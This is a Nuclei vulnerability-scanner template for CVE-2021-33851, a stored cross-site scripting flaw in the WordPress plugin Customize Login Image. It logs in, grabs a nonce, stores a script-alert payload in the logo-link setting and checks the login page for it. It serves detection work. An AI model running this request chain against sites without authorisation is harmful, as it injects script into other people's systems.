nuclei-templates/cves/2021/CVE-2021-33851.yaml

id: CVE-2021-33851

info:
  name: Customize Login Image < 3.5.3 - Cross-Site Scripting
  author: 8authur
  severity: medium
  description: |
    A cross-site scripting (XSS) attack can cause arbitrary code (JavaScript) to run in a user's browser and can use an application as the vehicle for the attack. The XSS payload given in the "Custom logo link" executes whenever the user opens the Settings Page of the "Customize Login Image" Plugin.
  reference:
    - https://wpscan.com/vulnerability/c67753fb-9111-453e-951f-854c6ce31203
    - https://cybersecurityworks.com/zerodays/cve-2021-33851-stored-cross-site-scripting-in-wordpress-customize-login-image.html
    - https://wordpress.org/plugins/customize-login-image/
    - https://nvd.nist.gov/vuln/detail/cve-2021-33851
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-33851
    cwe-id: CWE-79
  metadata:
    verified: "true"
  tags: wpscan,cve2021,wordpress,customize-login-image,wp,authenticated,cve,wp-plugin,xss

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/options-general.php?page=customize-login-image/customize-login-image-options.php HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/options.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        option_page=customize-login-image-settings-group&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dcustomize-login-image%252Fcustomize-login-image-options.php%26settings-updated%3Dtrue&cli_logo_url=<script>alert(document.domain)</script>&cli_logo_file=&cli_login_background_color=&cli_custom_css=

      - |
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_4 == 200'
          - 'contains(all_headers_4, "text/html")'
          - 'contains(body_4, "Go to <script>alert(document.domain)</script>")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
        internal: true